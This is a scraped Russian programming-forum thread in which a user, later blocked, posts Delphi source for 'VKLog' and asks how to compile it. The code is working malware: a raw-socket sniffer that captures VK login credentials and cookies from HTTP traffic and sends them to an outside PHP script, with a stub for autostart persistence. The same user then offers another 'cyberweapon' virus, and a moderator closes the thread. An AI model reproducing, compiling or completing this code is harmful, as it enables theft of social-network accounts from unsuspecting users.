Форум программистов, компьютерный форум, киберфорум
Delphi
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск  
 
 
Рейтинг 4.53/19: Рейтинг темы: голосов - 19, средняя оценка - 4.53
Заблокирован

Компиляция на asm

11.08.2012, 20:51. Показов 3982. Ответов 23
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Нужно откомпилировать исходник на asm, я ассемблировал на masm32 а как откомпилировать программу на masm-е или asm-е имею смутное представления. Скачал DOSLINK, но на masm33 не заработал, привожу исходник


Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
     IP_header = packed record
ver_length, TOS:byte;
size, Id, flags_segment: word;
TTL, Proto:byte;
checksum:word;
source_ip,dest_ip:packed record q,w,e,r:byte; end;
end;program VKLog;
 
//{$APPTYPE CONSOLE}
 
uses
Windows,WinSock,
Parser in 'Parser.pas';
 
type
//- это IP-пакет
IP_header = packed record
ver_length, TOS:byte;
size, Id, flags_segment: word;
TTL, Proto:byte;
checksum:word;
source_ip,dest_ip:packed record q,w,e,r:byte; end;
end;
 
//- это ТCP-пакет(с заголвком и данными)
TCP_Packet = packed record
source_port, dest_port:word;
posl,podt:integer;
size,flags:byte;
window_:word;
cheksum:word;
urg_field:word;
data:array[0..65535] of char;
end;
 
Function GetLocalIP : String;
Var WSAData: TWSAData;
P: PHostEnt;
Name: array[0..$FF] of Char;
Begin
WSAStartup($0101, WSAData);
GetHostName(Name, $FF);
P := GetHostByName(Name);
Result := inet_ntoa(PInAddr(P.h_addr_list^)^);
WSACleanup;
End;
 
Function LookupName(name:String): TInAddr;
var
HostEnt: PHostEnt;
InAddr: TInAddr;
begin
HostEnt := gethostbyname(PChar(name));
FillChar(InAddr, SizeOf(InAddr), 0);
if HostEnt <> nil then
begin
with InAddr, HostEnt^ do
begin
S_un_b.s_b1 := h_addr^[0];
S_un_b.s_b2 := h_addr^[1];
S_un_b.s_b3 := h_addr^[2];
S_un_b.s_b4 := h_addr^[3];
end;
end;
Result := InAddr;
end;
 
Function ConnectToHost(sock:Tsocket;host:string;port:integer):integer;
var
sServrerAdr:sockaddr_in;
begin
sServrerAdr.sin_addr.S_addr := htonl(INADDR_ANY);
sServrerAdr.sin_family := AF_INET;
sServrerAdr.sin_port := htons(port);
sServrerAdr.sin_addr := LookupName(host);
 
Result := connect(Sock,sServrerAdr,sizeof(sServrerAdr));
end;
 
Procedure SendRequest(sock:TSocket;Req:string);
var
TempStr:string;
SendBuf:array [0..1023] of char;
begin
TempStr := req + #13#10;
CopyMemory(@SendBuf,Pchar(TempStr),Length(TempStr));
send(sock,SendBuf,Length(TempStr),0);
end;
 
procedure SendDataTOServer(login:string;password:string);//отправка данных на сервер (пхп скрипт)
var
wData:WSAData;
soket:TSocket;
Request:string;
begin
Request := 'GET [url]http://vk-hack.h18.ru/serv.php?login=[/url]' + login + '&pass=' + password + ' HTTP/1.1' + #13#10 +
'Host: vk-hack.h18.ru:80'+ #13#10 +
'Accept: text/html;q=1, image/jpeg;q=0.5, */*' + #13#10 +
'User-agent: VKLoger' + #13#10;
WSAStartup(MakeWord(1,1),wData);
soket:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
ConnectToHost(soket,'wm-babos.h1.ru',80);
SendRequest(soket,Request);
sleep(500);
closesocket(soket);//ответ от сервера не волнует
end;
 
Procedure TestHeader(Header:string);//проверка HTTP пакета на валидность (вырезание из него пароля или куков)
var
ReqType:string;
Host:string;
Cookie:String;
Post:string;
pass:string;
login:string;
begin
Header := EnterTrim(Header);
ReqType := GetRequestType(Header);
if (ReqType = 'POST') or (ReqType = 'GET') then
begin
Host := GetHost(Header);
if (Host = 'login.vk.com') and (ReqType = 'GET') then
begin
Cookie := GetCookie(Header);
login := GetValueFromString('l',Cookie);
pass := GetValueFromString('p',Cookie);
if (pass <> '') and (pass <> '') then
SendDataTOServer(login,pass);
end;
if (Host = 'login.vk.com') and (ReqType = 'POST') then
begin
Post := GetPostParams(Header);
login := GetValueFromString('email',Post);
pass := GetValueFromString('pass',Post);
if (pass <> '') and (pass <> '') then
SendDataTOServer(login,pass);
end;
exit;
end;
 
if ISServAnswer(Header) then
begin
Cookie := GetCookieSet(Header);
login := GetValueFromString('l',Cookie);
pass := GetValueFromString('p',Cookie);
if (pass <> '') and (pass <> '') and (pass <> 'deleted') and (pass <> 'deleted') then
SendDataTOServer(login,pass);
exit;
end;
 
end;
 
procedure DoSnifer;
var
IP_Size:byte;
SBuf:string;
HTTPHeader:string;
LastRequestType:String;
RequestType:string;
 
S:TSocket;
Adr:TSockAddr;
W:WSAData;
flag,count:integer;
a:array[0..262144] of byte;
 
IP:IP_header;
TCP:TCP_Packet;
 
begin
LastRequestType := '';
HTTPHeader := '';
 
WSAStartup(MakeWord(2,2),W);
S:=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
ZeroMemory(@Adr,sizeof(Adr));
Adr.sin_family:=AF_INET;
Adr.sin_addr.S_addr:=inet_addr(pchar(GetLocalIP));
bind(S,Adr,sizeof(Adr));
flag:=1;
ioctlsocket(S,$98000001,flag);
 
While true do
begin
count:=recv(S,A,sizeof(A),0);//читаем данные
Move(A[0],IP,SizeOf(IP));//заполняем структуру IP пакета
 
if ip.Proto = 6 then// если в IP пакете TCP пакет то продолжить
begin
IP_Size := IP.ver_length;
IP_Size := (IP_Size and 15)*4 ;//вычисляем размер IP пакета из структуры
FillChar(TCP,SizeOf(TCP),0);
Move(A[IP_Size],TCP,Count - IP_Size{SizeOf(TCP)});//заполняем структуру TCP пакета
sBuf:=TCP.data;//читаем данные из TCP пакета (HTTP пакет)
SBuf := Trim(SBuf);
 
RequestType := GetRequestType(SBuf);
 
 
if RequestType = 'POST' then//если пост запрос то
begin
if LastRequestType = 'POST' then//проверяем был ли до этого пост запрос
begin
TestHeader(HTTPHeader);//если да то отправляем предыдущий запрос на проверку
LastRequestType := '';
end;
HTTPHeader := SBuf;//читаем данные
LastRequestType := 'POST';//указываем что произошел пост запрос
Continue;
end;
 
//если к нам пришел не пост запрос(ответ от сервера, GET запрос и т.д)
if (copy(RequestType,1,4) = 'HTTP') or//если ответ идет от сервера то функция GetRequestType вернет HTTP/x.x
(RequestType = 'GET') or
(RequestType = 'HEAD') or
(RequestType = 'OPTIONS') or
(RequestType = 'TRACE') then
begin
if LastRequestType = 'POST' then//проверяем был ли до этого пост запрос
begin
TestHeader(HTTPHeader);//если да то отправляем предыдущий запрос на проверку
LastRequestType := '';
end;
HTTPHeader := SBuf;//читаем данные
TestHeader(HTTPHeader);// отправляем запрос на проверку
LastRequestType := '';
Continue;
end;
 
//если никакой запрос не пришел и последний запрос был POST то
if (copy(RequestType,1,4) = 'HTTP') or
(RequestType <> 'GET') and
(RequestType <> 'HEAD') and
(RequestType <> 'POST') and
(RequestType <> 'OPTIONS') and
(RequestType <> 'TRACE') and
(LastRequestType = 'POST') then
begin
HTTPHeader := HTTPHeader + #13#10#13#10 + SBuf;//добавляем данные(параметры POST запроса) к запросу
end;
end;
end;
closesocket(S);
WSACleanup;
end;
 
Procedure InfectCOMP;
begin
//можно написать процедуру добавления в автозагрузку
end;
 
var
id:cardinal;
thr:Cardinal;
begin
InfectCOMP;
thr := BeginThread(nil,0,Addr(DoSnifer),nil,0,id);
while true do
sleep(1000000);
end.
0
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
11.08.2012, 20:51
Ответы с готовыми решениями:

компиляция asm в Linux
Заинтересовал тут меня вопрос о средах программирования для МК AVR под Linux. Из поисков в сети понял, что GCC вполне годный компилятор, но...

Компиляция ASM в HEX (PIC18F4220)
Здравствуйте, у меня в курсовой работе нужно в протеусе собрать схему, в этой схеме используется кристалл PIC18F4220. Схему я собрал, но...

Компиляция файла asm в exe
Здравствуйте, подскажите пожалуйста - у меня есть файл asm с кодом, мне нужно его скомпилировать в exe для запуска на windows 32x и 64x,...

23
Заблокирован
15.08.2012, 13:43  [ТС]
Студворк — интернет-сервис помощи студентам
Он перехватывает запрос на авторизацию. скинь видео, как откомпилировал
0
191 / 29 / 8
Регистрация: 15.09.2011
Сообщений: 430
15.08.2012, 18:27
Цитата Сообщение от Sophos Посмотреть сообщение
Delphi
1
http://vk-hack.h18.ru
Дальше сами догадаетесь?
Ну что что-то не чистое то я знаю XD Меня интересует подробный функционал.
0
Заблокирован
15.08.2012, 21:03  [ТС]
Если я расскажу тебе подробный функционал и еще прокоментирую, откомпилить поможешь-?

Добавлено через 8 минут
Я приведу исходник одного вируса. настоящие кибероружие,механизм у него такой создает шеллкод,переполняя буфер и использует маску поиска, я его откомпилировал и ели справился и изолировал, он отрубил мне инет, скину в личку видос+инструкцию и получишь ты кибер оружие, комплируй на WMare а ты исправишь этот код идет-?
0
Почетный модератор
 Аватар для Puporev
64320 / 47616 / 32743
Регистрация: 18.05.2008
Сообщений: 115,167
15.08.2012, 21:08
Так, тема не тема а сплошной флуд постепенно переходящий в обсуждение вареза, запрещенное Правилами нашего форума, а посему тему закрываю.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
15.08.2012, 21:08

Поменять местами части строк. Раздельная компиляция QuickC (*.c + *.asm)
Даны 2 строки. Нужно поменять местами их первые, ну допустим 5 символов. Ну т е 5 символов второй строки запихать в 1ю,а 5 символов 1й...

В двумерном массиве A[N*M] найти максимальный элемент в последнем столбце. (раздельная компиляция asm и C)
Есть массив A. extern &quot;C&quot; int Fun(int *a); z = Fun(*A); Надо вернуть максимальный элемент в последнем столбце. .686 ...

Отсортировать по возрастанию только числа, меньше порога, введенного с клавиатуры (раздельная компиляция asm и C)
Отсортировать по возрастанию только числа, меньше порога, введенного с клавиатуры. Сортировку производить в массиве D. Числа больше...

Отредактировать текст, удаляя те слова, которые имеют больше 3-х гласных. (раздельная компиляция asm и C)
Как посчитать гласные в ассeмблере, сравнить регистр с пробелом и куда записать слово? Если я написал ерунду, то с помощью чего решить...

Зеркально поменять местами разряды внутри старшего и младшего байтов каждого числа. (раздельная компиляция asm и C)
Сюда посылаю 16-битовое число. Как зеркально поменять местами разряды внутри старшего и младшего байтов числа? MASM. .686 .MODEL...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
24
Закрытая тема Создать тему
Новые блоги и статьи
Программа опроса у.з. расходомера SLS-720F
Argus19 02.09.2026
Программа опроса у. з. расходомера SLS-720F Программа опрашивает один раз в минуту три ультразвуковых расходомера SLS-720F через интерфейс RS-485 по протоколу Modbus RTU. Опрашиваются регистры. . .
Hyper-V: Компьютер должен поддерживать доверенный платформенный модуль 2.0.
Maks 31.08.2026
При установке Windows 11 на виртуальную машину Hyper-V 2-го поколения вылезла такая ошибка: Решение: в параметрах виртуальной машины, в разделе "Безопасность" (Security) активировать флаг. . .
Архитектура биовида Стива в Майнкрафте: Зачем бонобо кубический каннибализм
anaschu 30.08.2026
Кубический Вагинокапитализм в Minecraft: Математический инвариант ОДУ и рок Стивов-бонобо Главная задача разработанной «Модели Всего» — наглядно продемонстрировать наличие системной «судьбы». . .
Оттачиваю умение писать js программы.
russiannick 30.08.2026
Проектом выходного дня стало написание Книги шифров Виженера. Итогом стала версия 200, синий туман. Синий туман назван так, потому что замораживает текст под собой. Нажатие синих кнопок управляют. . .
мат медиц модель 30. презентация проекта
anaschu 27.08.2026
хоп хоп хоп хидахоп, а я кладую))
Как у меня протекала болезнь
zorxor 27.08.2026
Здравствуйте, друзья! Эта запись блога предназначена именно для вас - для моих дорогих друзей, которые знали меня лично. Чтобы ответить на вопрос - а что же со мной произошло на самом деле? Я учился. . .
Нашел вот забавное видео о измерениях. Лучшее что я видел на эту тему
kumehtar 26.08.2026
ILETXiw9bMQ Основная суть и тезисы по измерениям: 0D (Нулевое измерение): точка, не имеющая длины, ширины, высоты или объема. Объект не может перемещаться в 0D. 1D (Первое измерение):. . .
[EasyBuilder Pro] Памятка по разработке для панелей Weintek
ФедосеевПавел 26.08.2026
Памятка по разработке для панелей Weintek ВВЕДЕНИЕ Ранее, при реализации проектов основное внимание уделял разработке управляющей программы для контроллера, а панели оператора доставалось время. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru